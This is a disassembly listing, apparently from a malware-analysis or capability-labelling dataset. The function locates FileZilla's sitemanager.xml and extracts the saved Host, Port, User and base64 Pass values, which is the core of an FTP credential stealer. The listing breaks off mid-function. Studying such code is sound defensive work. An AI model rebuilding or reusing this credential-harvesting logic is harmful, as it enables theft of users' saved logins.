Function at 0x18009bce0
Capabilities:
Get common file path

Disassembly:
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
xor edi, edi
mov qword [rcx + 0x18], 0xf
mov qword [rcx + 0x10], rdi
lea rax, [rbp + 0x190]
mov r15, rdx
mov byte [rcx], dil
mov r14, rcx
mov qword [rbp + 0x20], rdi
lea edx, [rdi + 0x1a]
mov qword [rbp + 0x28], 0xf
xor r9d, r9d
mov byte [rbp + 0x10], dil
xor r8d, r8d
mov qword [rbp], rdi
xor ecx, ecx
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], dil
mov r13d, edi
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], dil
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], dil
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rax, [rbp + 0x190]
mov qword [rsp + 0x60], rdi
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], dil
inc r8
cmp byte [rax + r8], dil
jne 0x18009bd90
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x50]
call fcn.1800a7f50
mov r8d, 1
lea rdx, [0x1800f1d78]
lea rcx, [rsp + 0x50]
call fcn.1800a7730
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x18009be1e
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009be19
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d870
call fcn.1800afef0
mov r8d, 0x19
mov qword [rsp + 0x60], rdi
lea rdx, str.FileZilla_sitemanager.xml
mov qword [rsp + 0x68], 0xf
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x50], dil
call fcn.1800a7730
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18009bea6
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009bea1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d876
call fcn.1800afef0
cmp qword [rbp + 0x88], 0x10
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x3d8], rbx
lea rdx, [0x1800f1da0]
cmovae rcx, qword [rbp + 0x70]
mov qword [rsp + 0x3e0], rsi
mov qword [rsp + 0x3e8], r12
call fcn.1800b7fc8
test rax, rax
je 0x18009d804
mov rcx, rax
call fcn.1800b8058
mov rcx, qword [rbp + 0x80]
inc rcx
call fcn.1800b02b4
cmp qword [rbp + 0x88], 0x10
lea r8, [rbp + 0x70]
mov r9, rax
cmovae r8, qword [rbp + 0x70]
sub r9, r8
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8]
mov byte [r9 + r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x18009bf20
lea rdx, [0x1800f1da0]
mov rcx, rax
call fcn.1800b7fc8
mov rcx, rax
mov r12, rax
call fcn.1800bae60
test eax, eax
jne 0x18009d74f
lea rbx, [0x180107590]
nop dword [rax]
mov r8, r12
mov edx, 0x800
mov rcx, rbx
call fcn.1800b9b2c
test rax, rax
je 0x18009d73f
mov qword [rsp + 0x60], rdi
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
inc r8
cmp byte [rbx + r8], 0
jne 0x18009bf93
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.1800a7f50
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x18009bfd9
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x18009c054
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18009c02d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18009d87c
mov rcx, rax
call fcn.1800afef8
mov rcx, rax
test rax, rax
je 0x18009d882
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18009c03b
test rcx, rcx
je 0x18009c039
call fcn.1800afef8
jmp 0x18009c03b
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800b2f60
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._Host_
mov qword [rbp - 0x20], 0
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
call fcn.1800a7f50
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call fcn.18008c1a0
test eax, eax
jle 0x18009c314
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x18009c0c7
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x78], 0xf
movups xmmword [rsp + 0x70], xmm0
jmp 0x18009c141
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18009c11b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18009d87c
mov rcx, rax
call fcn.1800afef8
mov rcx, rax
test rax, rax
je 0x18009d882
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18009c129
test rcx, rcx
je 0x18009c127
call fcn.1800afef8
jmp 0x18009c129
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800b2f60
mov qword [rbp - 0x78], rbx
mov r8d, 7
mov qword [rbp - 0x80], rdi
lea rdx, str.__Host_
mov qword [rbp - 0x40], 0
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
call fcn.1800a7f50
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.18008c1a0
test eax, eax
jle 0x18009c314
mov rsi, qword [rsp + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
lea r9, str._Host_
mov rbx, qword [rsp + 0x60]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800a88c0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x18009d864
sub rbx, rcx
lea rdx, [rsp + 0x50]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800a7f50
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x18009c242
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c23d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d882
call fcn.1800afef0
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Host_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0x10], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x20], xmm1
cmovae rcx, rsi
call fcn.1800a88c0
cmp rbx, rax
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800a7f50
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x18009c302
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c2fd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d882
call fcn.1800afef0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm1
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x18009c343
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x18009c3be
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18009c397
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18009d87c
mov rcx, rax
call fcn.1800afef8
mov rcx, rax
test rax, rax
je 0x18009d882
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18009c3a5
test rcx, rcx
je 0x18009c3a3
call fcn.1800afef8
jmp 0x18009c3a5
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800b2f60
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._Port_
mov qword [rbp - 0x20], 0
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
call fcn.1800a7f50
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call fcn.18008c1a0
test eax, eax
jle 0x18009c67e
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x18009c431
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x78], 0xf
movups xmmword [rsp + 0x70], xmm0
jmp 0x18009c4ab
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18009c485
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18009d87c
mov rcx, rax
call fcn.1800afef8
mov rcx, rax
test rax, rax
je 0x18009d882
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18009c493
test rcx, rcx
je 0x18009c491
call fcn.1800afef8
jmp 0x18009c493
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800b2f60
mov qword [rbp - 0x78], rbx
mov r8d, 7
mov qword [rbp - 0x80], rdi
lea rdx, str.__Port_
mov qword [rbp - 0x40], 0
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
call fcn.1800a7f50
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.18008c1a0
test eax, eax
jle 0x18009c67e
mov rsi, qword [rsp + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
lea r9, str._Port_
mov rbx, qword [rsp + 0x60]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800a88c0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x18009d864
sub rbx, rcx
lea rdx, [rsp + 0x50]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800a7f50
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x18009c5ac
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c5a7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d882
call fcn.1800afef0
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x30]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Port_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0x30], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x40], xmm1
cmovae rcx, rsi
call fcn.1800a88c0
cmp rbx, rax
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800a7f50
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x18009c66c
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c667
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d882
call fcn.1800afef0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm1
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x18009c6ad
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x18009c728
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18009c701
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18009d87c
mov rcx, rax
call fcn.1800afef8
mov rcx, rax
test rax, rax
je 0x18009d882
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18009c70f
test rcx, rcx
je 0x18009c70d
call fcn.1800afef8
jmp 0x18009c70f
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800b2f60
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._User_
mov qword [rbp - 0x20], 0
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
call fcn.1800a7f50
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call fcn.18008c1a0
test eax, eax
jle 0x18009c9e8
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x18009c79b
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x78], 0xf
movups xmmword [rsp + 0x70], xmm0
jmp 0x18009c815
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18009c7ef
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18009d87c
mov rcx, rax
call fcn.1800afef8
mov rcx, rax
test rax, rax
je 0x18009d882
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18009c7fd
test rcx, rcx
je 0x18009c7fb
call fcn.1800afef8
jmp 0x18009c7fd
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800b2f60
mov qword [rbp - 0x78], rbx
mov r8d, 7
mov qword [rbp - 0x80], rdi
lea rdx, str.__User_
mov qword [rbp - 0x40], 0
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
call fcn.1800a7f50
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.18008c1a0
test eax, eax
jle 0x18009c9e8
mov rsi, qword [rsp + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
lea r9, str._User_
mov rbx, qword [rsp + 0x60]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800a88c0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x18009d864
sub rbx, rcx
lea rdx, [rsp + 0x50]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800a7f50
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x18009c916
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c911
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d882
call fcn.1800afef0
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__User_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp - 0x10], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp], xmm1
cmovae rcx, rsi
call fcn.1800a88c0
cmp rbx, rax
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800a7f50
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x18009c9d6
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c9d1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d882
call fcn.1800afef0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm1
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x18009ca17
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x18009ca92
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18009ca6b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18009d87c
mov rcx, rax
call fcn.1800afef8
mov rcx, rax
test rax, rax
je 0x18009d882
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18009ca79
test rcx, rcx
je 0x18009ca77
call fcn.1800afef8
jmp 0x18009ca79
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800b2f60
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rdi
lea rdx, str._Pass_encoding_base64__
xor edi, edi
mov qword [rbp - 0x18], 0xf
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x20], rdi
mov byte [rbp - 0x30], dil
lea r8d, [rdi + 0x18]
call fcn.1800a7f50
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call fcn.18008c1a0
test eax, eax
jle 0x18009ce10
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x18009cb01
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x78], 0xf
movups xmmword [rsp + 0x70], xmm0
jmp 0x18009cb7b
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18009cb55
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18009d87c
mov rcx, rax
call fcn.1800afef8
mov rcx, rax
test rax, rax
je 0x18009d882
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18009cb63
test rcx, rcx
je 0x18009cb61
call fcn.1800afef8
jmp 0x18009cb63
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800b2f60
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x80], rdi
lea rdx, str.__Pass_
xor edi, edi
mov qword [rbp - 0x38], 0xf
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x40], rdi
mov byte [rbp - 0x50], dil
lea r8d, [rdi + 7]
call fcn.1800a7f50
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.18008c1a0
test eax, eax
jle 0x18009ce10
mov rsi, qword [rsp + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
lea r9, str._Pass_encoding_base64__
mov rbx, qword [rsp + 0x60]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 0x18
cmovae rcx, rdi
call fcn.1800a88c0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 0x18]
cmp rbx, rcx
jb 0x18009d864
sub rbx, rcx
lea rdx, [rsp + 0x50]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800a7f50
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18009cc78
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cc73
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d882
call fcn.1800afef0
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Pass_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp - 0x70], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp - 0x60], xmm1
cmovae rcx, rsi
call fcn.1800a88c0
cmp rbx, rax
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800a7f50
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18009cd38
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cd33
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d882
call fcn.1800afef0
movups xmm0, xmmword [rsp + 0x30]
lea rdx, [rbp - 0x70]
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rsp + 0x30]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm1
call fcn.180089fe0
mov rbx, rax
lea rax, [rbp - 0x70]
cmp rax, rbx
je 0x18009cdd1
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18009cd9f
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cd9a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d888
call fcn.1800afef0
mov qword [rbp - 0x58], 0xf
xor edi, edi
mov qword [rbp - 0x60], rdi
mov byte [rbp - 0x70], dil
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
jmp 0x18009cdd3
xor edi, edi
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18009ce10
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ce0b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d888
call fcn.1800afef0
cmp qword [rbp + 0x20], 0
je 0x18009d72e
cmp qword [rbp], 0
je 0x18009d72e
cmp qword [rbp - 0x60], 0
je 0x18009d72e
mov rax, qword [r15 + 0x18]
mov rcx, r15
cmp rax, 0x10
jb 0x18009ce41
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x18009ce51
cmp byte [rcx], 0x30
jne 0x18009ce51
mov cl, 1
jmp 0x18009ce53
xor cl, cl
test cl, cl
je 0x18009d4e1
mov rdx, qword [r14 + 0x10]
lea rcx, [rbp + 0x50]
inc rdx
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
call fcn.1800a9410
cmp qword [r14 + 0x18], 0x10
mov rdx, r14
jb 0x18009ce88
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x50]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e34]
lea rcx, [rbp + 0x50]
call fcn.1800a7730
cmp qword [rbp + 0x28], 0x10
lea rdx, [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp + 0x50]
cmovae rdx, qword [rbp + 0x10]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f25c8]
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0x48], 0x10
mov r8, qword [rbp + 0x40]
cmovae rdx, qword [rbp + 0x30]
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e30]
lea rcx, [rbp - 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
mov r8d, 1
lea rdx, [0x1800f1e34]
lea rcx, [rbp - 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800a7730
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x110]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 8], 0x10
mov r8, qword [rbp]
cmovae rdx, qword [rbp - 0x10]
call fcn.1800a7730
